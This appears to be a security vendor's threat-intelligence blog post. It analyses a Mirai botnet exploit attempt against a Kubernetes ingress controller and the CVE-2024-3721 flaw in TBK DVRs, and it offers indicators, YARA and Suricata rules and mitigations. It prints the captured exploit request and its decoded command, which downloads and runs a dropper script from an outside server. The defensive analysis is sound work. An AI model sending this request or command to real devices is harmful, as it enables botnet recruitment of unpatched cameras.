ARMO CADR Detects The New Wave of Mirai Botnet

Introduction: When Attackers Can’t Tell the Difference

Here at ARMO, our customers run production Kubernetes clusters that face the open internet every day. That’s the reality of modern cloud-native infrastructure — your ingress controllers, API gateways, and load balancers are the front door, and threat actors are constantly rattling the handle.

In February 2026, ARMO’s Cloud Application Detection and Response (CADR) flagged a command injection attempt against an NGINX ingress controller running in a customer’s production EKS cluster. The attacker, operating from an IP address in Izhevsk, Russia, fired an exploit designed for TBK DVR surveillance cameras at a Kubernetes pod. They didn’t know — or didn’t care — that their target wasn’t a cheap DVR. They were spraying the internet with exploit traffic, hoping something would stick.

It didn’t. But the incident gave us a front-row seat to an active Mirai botnet campaign using a previously unreported operator tag: “DatasurgeOnTop.”

This blog will walk you through:

• What vulnerability the attacker was trying to exploit (and why it works on 50,000+ real devices)
• The full attack chain — from HTTP request to malware execution
• Who “DatasurgeOnTop” is and why this user-agent matters
• How this maps to known campaigns including RondoDox, Broadside, and FBI-flagged HiatusRAT
• IOCs, YARA rules, and detection signatures for your team
• How ARMO CADR detected the attack in real time — even though the target wasn’t vulnerable

The Vulnerability: CVE-2024-3721 — One HTTP Request, Full Device Control

The exploit targets CVE-2024-3721, an unauthenticated OS command injection vulnerability in TBK DVR-4104 and DVR-4216 digital video recorders manufactured by TVT Digital Technology (Shenzhen, China). These are surveillance camera recording devices deployed in banks, retail stores, government buildings, and even aboard shipping vessels.

The vulnerable endpoint is /device.rsp, the primary web API for TBK DVR firmware. When the internal command string ___S_O_S_T_R_E_A_MAX___ is passed via the cmd parameter, the firmware processes mdb and mdc parameters as shell arguments — with zero input sanitization. No authentication required. No special headers needed. One HTTP POST, and you own the device.

Here’s exactly what our CADR sensor captured:

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20busybox%20rm%20tbk.sh%3B%20wget%20http%3A%2F%2F130.12.180.120%3A8080%2Ffile%2Ftbk.sh%3B%20busybox%20sh%20tbk.sh HTTP/1.1
Host: 16.171.184.118
User-Agent: DatasurgeOnTop
Accept: */*
Connection: keep-alive
Content-Length: 0

URL-decoding the mdc parameter reveals the injected commands:

cd /tmp; busybox rm tbk.sh; wget http://130.12.180.120:8080/file/tbk.sh; busybox sh tbk.sh

Let’s break this down step by step:

1. cd /tmp — Navigate to the writable temp directory (IoT devices often mount root as read-only)
2. busybox rm tbk.sh — Remove any previous copy of the dropper (cleanup from earlier attempts)
3. wget http://130.12.180.120:8080/file/tbk.sh — Download the malicious shell script from the staging server
4. busybox sh tbk.sh — Execute the dropper using busybox’s built-in shell

The use of busybox is deliberate — TBK DVR devices run minimal embedded Linux distributions where busybox provides the core userspace utilities. This is a hallmark of attacks specifically crafted for IoT targets.

This CVE compounds with the older CVE-2018-9995 (CVSS 9.8), an authentication bypass in the same devices where sending Cookie: uid=admin returns admin credentials in plaintext. Together, they form a devastating pair: one opens the door, the other lets you run anything you want inside.

The worst part? No patches exist for either vulnerability. TVT Digital Technology has been unresponsive to security researchers for years. FortiGuard Labs, which tracks these devices closely, explicitly recommends “isolating or replacing the TBK DVRs.” There is no fix-and-forget option here.

The Attack Surface: Bigger Than You Think

You might wonder why anyone would bother exploiting obscure DVR cameras. The numbers tell the story.

TVT Digital Technology operates as an OEM manufacturer with 79 known rebranding partners — including Novo, CeNova, QSee, Pulnix, Night OWL, Securus, and XVR 5-in-1. When security researcher “netsecfish” disclosed CVE-2024-3721 in April 2024, they published Shodan scans showing over 114,000 exposed devices on the public internet. FortiGuard’s IPS signature has recorded over 60,000 detection events for the command injection alone, while the older authentication bypass generated 50,000+ detections in a single month (April 2023).

These are always-on, always-connected, rarely-monitored devices running embedded Linux on ARM32 processors — exactly the architecture Mirai was built to exploit. And because of the OEM fragmentation, most end users have no idea their device is actually a TBK product, let alone that it’s critically vulnerable.

Who Is “DatasurgeOnTop”?

This is where it gets interesting for the threat intel community.

We searched exhaustively across threat intelligence platforms, security vendor blogs, GitHub, social media, VirusTotal, and malware repositories. Zero results for the exact string “DatasurgeOnTop.” This is a previously unreported indicator of compromise.

In the Mirai ecosystem, operators routinely embed custom identifiers — variant tags — into user-agent strings, binary configurations, and console output. Think of them as graffiti tags. Known examples include:

• IZ1H9 (prints “Darknet” on compromised devices)
• InfectedSlurs (uses offensive language in C2 domain names)
• Broadside (maritime-themed Mirai variant targeting shipping vessels)

The “OnTop” suffix follows bragging conventions common among DDoS-for-hire operators on Telegram and DStatCC marketplaces. “DatasurgeOnTop” almost certainly identifies a specific Mirai fork operator or crew that is either newly active or low-volume enough to have evaded published threat feeds until now.

The Russian IP origin (Izhevsk, Udmurt Republic — ASN in the RIPE 91.215.x.x range) aligns with the Eastern European nexus of IoT botnet operations documented across multiple Mirai campaigns by Kaspersky, Akamai, and Fortinet.

For defenders: this user-agent string should be added to your WAF and IDS rules immediately. Its absence from public threat feeds means existing signatures will miss it.

The tbk.sh Dropper: What Happens If This Succeeds

While the attack failed against our customer’s NGINX ingress controller (because it’s not a TBK DVR), the dropper script tbk.sh follows a well-documented Mirai recruitment pipeline confirmed by analysis from Kaspersky, FortiGuard Labs, and Palo Alto Unit 42. Here’s what it does on a real vulnerable device:

Stage 1 — Signal suppression. The script traps and ignores terminal signals (SIGTTOU, SIGTTIN, SIGTSTP, SIGHUP, SIGPIPE, etc.) to prevent interruption during execution.

Stage 2 — Writable path discovery. It parses /proc/mounts to find writable, executable filesystem paths — /tmp, /dev, /dev/shm, /var/run — since many IoT devices mount root as read-only.

Stage 3 — Architecture detection and binary download. Sophisticated variants detect CPU architecture and download the appropriate ELF binary for ARM, MIPS, x86, PowerPC, or AArch64. Since TBK DVRs exclusively use ARM32, many variants skip detection and pull a single arm7 binary. The payload name “tbk” directly references the target device family.

Stage 4 — Execute and clean up. Set permissions (chmod 777), execute the binary, delete the dropper, and clear command history.

Stage 5 — Kill the competition. The binary terminates processes from rival Mirai variants (Hajime, Anarchy, Mozi), cryptominers (xmrig, Redtail), network tools (wget, curl, netcat), and analysis tools (Wireshark, gdb, strace, tcpdump). Some variants like RondoDox go further, renaming system binaries like iptables and passwd to random strings.

The downloaded ELF binaries exhibit classic Mirai characteristics: XOR-obfuscated configuration strings, anti-VM checks scanning /proc/cpuinfo for VMware and QEMU signatures, and DDoS modules supporting UDP floods, SYN floods, and HTTP GET floods. Kaspersky’s analysis of a related variant found RC4 encryption with a static key for C2 communications.

A Crowded Battlefield: Seven Botnets, One Vulnerability

The DatasurgeOnTop campaign doesn’t operate in a vacuum. At least seven distinct botnet families are actively weaponizing CVE-2024-3721, turning TBK DVR exploitation into one of the most contested IoT attack surfaces we’ve seen:

RondoDox (first observed September 2024) stands out for its sophistication. It exploits both TBK DVRs and Four-Faith routers, implements multi-layered persistence, and mimics gaming platform traffic for C2 evasion. By October 2025, Trend Micro reported it had expanded to 56 exploits across 30+ vendors and experienced a 230% attack spike in September 2025.

Broadside, identified by Cydome, specifically targets the maritime logistics sector — exploiting DVR devices aboard shipping vessels. It harvests /etc/passwd and /etc/shadow for credential theft.

HiatusRAT, flagged by the FBI in December 2024 (Private Industry Notification PIN #20241216-001), elevates TBK DVR exploitation from commodity botnet to nation-state concern. The FBI documented PRC-aligned scanning campaigns against Five Eyes nations, specifically scanning for CVE-2018-9995 on TBK devices.

Condi, Fodcha, Unstable, and ShadowV2 round out the documented families, all confirmed by FortiGuard Labs.

The DatasurgeOnTop campaign adds an eighth player to this already-crowded field.

How ARMO CADR Caught This — Even on a Non-Vulnerable Target

Here’s the part that matters most for Kubernetes practitioners.

The attacker sent a TBK DVR exploit to an NGINX ingress controller. The target wasn’t vulnerable to CVE-2024-3721. So how did ARMO CADR detect it?

ARMO’s runtime detection operates at the eBPF-level, monitoring system calls, network connections, and process behavior inside every container — not just looking for known CVE signatures. When the malicious POST request hit the NGINX worker process (PID 2257428), CADR flagged multiple anomalies:

• Anomalous HTTP payload patterns: The ___S_O_S_T_R_E_A_MAX___ command string and URL-encoded shell commands in query parameters triggered ARMO’s command injection detection rule (R1025)
• Suspicious inbound connection: Traffic from 91.215.115.55 (Izhevsk, Russia) to a production ingress controller, with a non-standard User-Agent
• Attack context correlation: CADR mapped the incident to MITRE ATT&CK TA0001 (Initial Access) and generated the full process tree from containerd-shim → dumb-init → nginx-ingress-controller → nginx master → nginx worker

The process tree captured in the alert shows exactly how the request flowed through the container:

containerd-shim (PID 6442)
  └── dumb-init (PID 7346) — /usr/bin/dumb-init -- /nginx-ingress-controller [...]
      └── nginx-ingress-c (PID 7389) — /nginx-ingress-controller [...]
          └── nginx master (PID 7687) — nginx: master process /usr/bin/nginx -c /etc/nginx/nginx.conf
              └── nginx worker (PID 2257428) ← Received the malicious request

This level of visibility is critical. Traditional WAFs might catch the payload. But ARMO CADR provides the full code-to-cloud attack story — from the exact process that received the request, to the container and pod identity, to the Kubernetes workload context (DaemonSet ingress-nginx-static-ip-controller in namespace ingress-nginx on cluster ca-terraform-eks-prod). This context is what turns a noisy alert into an actionable incident.

This also highlights an important reality: attackers don’t fingerprint their targets before shooting. They spray exploits across IP ranges and hope for hits. Your Kubernetes ingress controllers will receive exploit traffic designed for DVRs, routers, IoT cameras, and every other device on the internet. Runtime detection that can catch these malicious payloads regardless of whether the target is vulnerable is your last line of defense.

MITRE ATT&CK Mapping

The full attack chain maps across nine tactics:

Tactic	Technique	ID
Reconnaissance	Active Scanning: Vulnerability Scanning	T1595.002
Resource Development	Stage Capabilities: Upload Malware	T1608.001
Initial Access	Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter: Unix Shell	T1059.004
Persistence	Boot or Logon Init Scripts: RC Scripts	T1037.004
Defense Evasion	Obfuscated Files or Information	T1027
Defense Evasion	Indicator Removal: Clear Command History	T1070.003
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001
Command and Control	Ingress Tool Transfer	T1105
Impact	Network Denial of Service: Direct Network Flood	T1498.001

Indicators of Compromise (IOCs)

Network IOCs

Indicator	Type	Context
91.215.115.55	Attacker IP	Source of exploit traffic, Izhevsk, Russia
130.12.180.120:8080	Payload Server	Hosts tbk.sh dropper, likely compromised institutional server
16.171.184.118	Target IP	AWS eu-north-1, customer ingress controller
DatasurgeOnTop	User-Agent	Novel Mirai operator tag, zero prior OSINT

File IOCs

Indicator	Type	Context
tbk.sh	Dropper Filename	Mirai recruitment shell script
/device.rsp	Exploit Endpoint	TBK DVR firmware API
___S_O_S_T_R_E_A_MAX___	Exploit String	CVE-2024-3721 trigger command

Related Hashes (from linked campaigns)

Hash	Type	Context
0f7b1b2bcbc3b30defdb55efbd160329	MD5	NGINX binary (target process)
1f27eff1d04ab415a6a34722c1b3e9ab2c4a2507	SHA-1	NGINX binary (target process)

Related CVEs

CVE	CVSS	Description
CVE-2024-3721	6.3	TBK DVR OS command injection via /device.rsp
CVE-2018-9995	9.8	TBK DVR authentication bypass via cookie manipulation

YARA Rule

rule TBK_DVR_DatasurgeOnTop_Campaign {
    meta:
        description = "Detects TBK DVR exploitation artifacts from DatasurgeOnTop Mirai campaign"
        author = "ARMO Security Research"
        date = "2026-02-25"
        reference = "CVE-2024-3721"
        tlp = "WHITE"

    strings:
        // Network signatures
        $ua = "DatasurgeOnTop" ascii wide
        $endpoint = "/device.rsp" ascii
        $cmd_trigger = "S_O_S_T_R_E_A_MAX" ascii
        
        // Dropper indicators
        $dropper_name = "tbk.sh" ascii
        $wget_pattern = /wget\s+http:\/\/\d+\.\d+\.\d+\.\d+.*tbk/ ascii
        $busybox_exec = "busybox sh" ascii
        $tmp_cd = "cd /tmp" ascii
        
        // Mirai binary indicators
        $rc4_key = { 6e 79 76 66 65 25 a9 76 39 77 7d 2d 7f 30 31 77 }
        $kill_hajime = "Hajime" ascii
        $kill_anarchy = "Anarchy" ascii
        $kill_mozi = "Mozi" ascii

    condition:
        ($ua) or
        ($endpoint and $cmd_trigger) or
        ($dropper_name and any of ($wget_pattern, $busybox_exec, $tmp_cd)) or
        ($rc4_key) or
        (2 of ($kill_hajime, $kill_anarchy, $kill_mozi) and filesize < 500KB)
}

 

Snort/Suricata Detection Rule

alert http any any -> $HOME_NET any (
    msg:"TBK DVR Command Injection CVE-2024-3721 - DatasurgeOnTop Campaign";
    flow:to_server,established;
    content:"/device.rsp"; http_uri;
    content:"S_O_S_T_R_E_A_MAX"; http_uri;
    content:"mdc="; http_uri;
    reference:cve,2024-3721;
    classtype:web-application-attack;
    sid:2026001; rev:1;
)

alert http any any -> $HOME_NET any (
    msg:"DatasurgeOnTop User-Agent - Mirai Botnet Operator";
    flow:to_server,established;
    content:"DatasurgeOnTop"; http_header;
    classtype:trojan-activity;
    sid:2026002; rev:1;
)

What Should You Do?

If you run TBK DVR/NVR devices

Replace them. There are no patches and the vendor isn’t responding. If immediate replacement isn’t possible, place every TBK device on an isolated VLAN with no direct internet access. Block all outbound connections to prevent C2 communication. If remote viewing is required, restrict access to VPN-only.

If you run Kubernetes clusters with internet-facing workloads

Your ingress controllers will receive exploit traffic aimed at devices that have nothing to do with Kubernetes. That’s the reality of running public-facing infrastructure. Here’s what matters:

1. Deploy runtime detection. Static vulnerability scanners won’t catch exploit attempts for CVEs that don’t apply to your stack. ARMO CADR detects malicious payloads at the eBPF level regardless of the target’s actual vulnerability status.

2. Add the IOCs to your blocklists. The DatasurgeOnTop user-agent, the attacker IP (91.215.115.55), and the payload server (130.12.180.120) should be blocked at your WAF and network perimeter.

3. Apply network policies. Kubernetes NetworkPolicies should restrict ingress controller pods to only the traffic they need. Egress policies should prevent pods from reaching arbitrary external IPs — which would block the wget call to the payload server even if the exploit succeeded.

4. Use seccomp profiles. Restricting system calls available to your containers limits what an attacker can do even after gaining code execution. ARMO’s runtime-based hardening can generate and enforce these profiles automatically.

In Closing

The DatasurgeOnTop campaign is a fresh entrant in what has become one of the most crowded IoT exploitation ecosystems in recent years. At least seven botnet families — plus a PRC-aligned nation-state actor — are competing for control of 50,000+ permanently vulnerable TBK DVR devices. The fact that this exploit traffic is hitting Kubernetes ingress controllers demonstrates a fundamental truth about internet-facing infrastructure: you don’t get to choose what attacks you receive.

The attacker didn’t know or care that our customer was running NGINX on Kubernetes instead of a TBK DVR. They sprayed and prayed. ARMO CADR caught the malicious payload, reconstructed the attack chain, and gave the security team everything they needed to understand what happened — from the exact process tree to the attacker’s IP, user-agent, and full payload.

Whether the attack targets a vulnerability you have or one you don’t, runtime security is the last line of defense. When preventative measures like patching, network policies, and seccomp profiles aren’t enough — or when the exploit is for something you didn’t even know you needed to defend against — runtime detection and response becomes what stands between an alert and a breach.